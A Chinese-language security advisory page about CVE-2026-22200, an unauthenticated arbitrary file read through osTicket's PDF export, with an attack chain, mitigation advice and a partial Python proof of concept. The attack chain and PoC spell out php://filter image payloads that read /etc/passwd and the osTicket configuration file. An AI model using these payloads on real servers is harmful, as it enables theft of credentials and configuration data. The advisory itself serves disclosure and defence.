IPBUF安全漏洞报告
English
CVE-2026-22200 CVSS 7.5 高危

CVE-2026-22200: osTicket PDF导出功能任意文件读取漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22200
漏洞类型
任意文件读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Enhancesoft osTicket

相关标签

任意文件读取osTicketPDF导出PHP FiltermPDFRCE前置漏洞无需认证CVE-2026-22200

漏洞概述

CVE-2026-22200是Enhancesoft osTicket中存在的一个高危安全漏洞。该漏洞允许未经认证的远程攻击者通过工单系统的PDF导出功能读取服务器上的任意文件。漏洞根源在于osTicket 1.18.x至1.18.3之前版本和1.17.x至1.17.7之前版本在处理工单PDF导出时,对富文本HTML内容中嵌入的PHP filter表达式缺乏充分的过滤和消毒。当攻击者创建一个包含恶意PHP filter表达式的工单,并通过PDF导出功能处理该工单时,mPDF库会解析这些表达式并将指定文件内容以位图图像的形式嵌入到生成的PDF文档中。攻击者可通过这种方式读取服务器上的敏感文件,包括配置文件、凭据文件、源代码等。在默认配置下,访客可以创建工单或访问工单状态,使得此漏洞可在无需任何认证的情况下被利用。

技术细节

该漏洞属于服务器端请求伪造(SSRF)的一种变体,利用了PHP的流包装器机制。攻击流程如下:首先,攻击者创建一个新的支持工单,在富文本描述字段中插入精心构造的HTML内容,该内容包含PHP filter表达式如php://filter/read=convert.base64-encode/resource=/etc/passwd。然后,攻击者通过Web界面访问该工单并触发PDF导出功能。服务器端的mPDF库在处理HTML内容时,会解析并执行这些PHP filter表达式。mPDF将读取到的文件内容转换为位图图像数据,并嵌入到最终的PDF文档中。攻击者下载PDF后,可通过提取其中的图像数据获取原始文件内容。由于mPDF库默认允许某些PHP协议包装器,且osTicket未对这些内容进行适当过滤,导致任意文件读取漏洞。该漏洞的利用不需要任何认证,只需能够创建工单或访问公开的工单状态页面即可。

攻击链分析

STEP 1
1
攻击者访问目标osTicket服务器,使用访客工单创建功能或已认证账户创建一个包含恶意HTML内容的新工单
STEP 2
2
在工单的富文本描述字段中嵌入PHP filter表达式,如<img src="php://filter/read=convert.base64-encode/resource=/etc/passwd">
STEP 3
3
攻击者访问该工单页面,通过PDF导出功能触发漏洞利用,服务器端mPDF库解析HTML中的PHP filter表达式
STEP 4
4
mPDF读取指定的系统文件(如/etc/passwd或配置文件),将内容转换为位图图像嵌入到生成的PDF中
STEP 5
5
攻击者下载包含恶意内容的PDF文件,提取其中的图像数据并解码获取原始文件内容
STEP 6
6
利用获取的敏感信息(如数据库凭据、API密钥等)进行进一步攻击,如横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22200 PoC - osTicket Arbitrary File Read via PDF Export # This PoC demonstrates how to exploit the arbitrary file read vulnerability # in osTicket's PDF export functionality import requests from bs4 import BeautifulSoup import re TARGET_URL = "http://target-osticket-server.com" # Replace with target URL def create_malicious_ticket(): """Create a ticket with malicious PHP filter payload in HTML""" # Payload to read /etc/passwd file via PHP filter # This will be embedded as an image in the exported PDF malicious_html = ''' <img src="php://filter/read=convert.base64-encode/resource=/etc/passwd"> <img src="php://filter/read=convert.base64-encode/resource=/var/www/html/osticket/include/ost-config.php"> ''' # Ticket creation endpoint (usually for guests) create_url = f"{TARGET_URL}/open.php" ticket_data = { 'email': '[email protected]', 'name': 'Attacker', 'subject': 'Test Ticket - CVE-2026-22200', 'message': malicious_html, 'topicId': '3' # Default topic } response = requests.post(create_url, data=ticket_data) # Extract ticket number from response ticket_match = re.search(r'Ticket\s*#(\d+)', response.text) if ticket_match: ticket_id = ticket_match.group(1) print(f"[+] Ticket created successfully: #{ticket_id}") return ticket_id return None def export_ticket_to_pdf(ticket_id, ticket_password): """Export ticket to PDF to trigger file read""" pdf_url = f"{TARGET_URL}/scp/ajax.php/tickets/{ticket_id}/print" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Referer': f"{TARGET_URL}/scp/tickets.php?id={ticket_id}" } cookies = { 'osticketpass': ticket_password } response = requests.get(pdf_url, headers=headers, cookies=cookies) if response.status_code == 200: filename = f"ticket_{ticket_id}_export.pdf" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] PDF exported to {filename}") return filename return None def extract_file_from_pdf(pdf_path): """Extract embedded file content from PDF""" # Use pdfminer or similar to extract images from PDF # The file content will be embedded as base64 encoded image # Decode the images to retrieve the file contents pass if __name__ == "__main__": print("CVE-2026-22200 - osTicket Arbitrary File Read PoC") print("=" * 50) ticket_id = create_malicious_ticket() if ticket_id: # In real attack, obtain ticket password through ticket lookup pdf_file = export_ticket_to_pdf(ticket_id, "ticket_password_here") if pdf_file: print("[+] Exploitation complete. Check PDF for leaked file contents.")

影响范围

osTicket 1.18.x < 1.18.3
osTicket 1.17.x < 1.17.7

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用访客创建工单功能和自注册功能;2)在Web服务器配置中阻止包含php://、phar://等PHP协议包装器的请求;3)限制PDF导出功能仅对经过充分认证的用户开放;4)实施严格的输入验证,过滤<img>标签的src属性中的特殊协议;5)监控日志中异常的PDF导出请求模式;6)考虑临时禁用mPDF库的某些高级功能或使用沙箱环境隔离PDF生成过程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表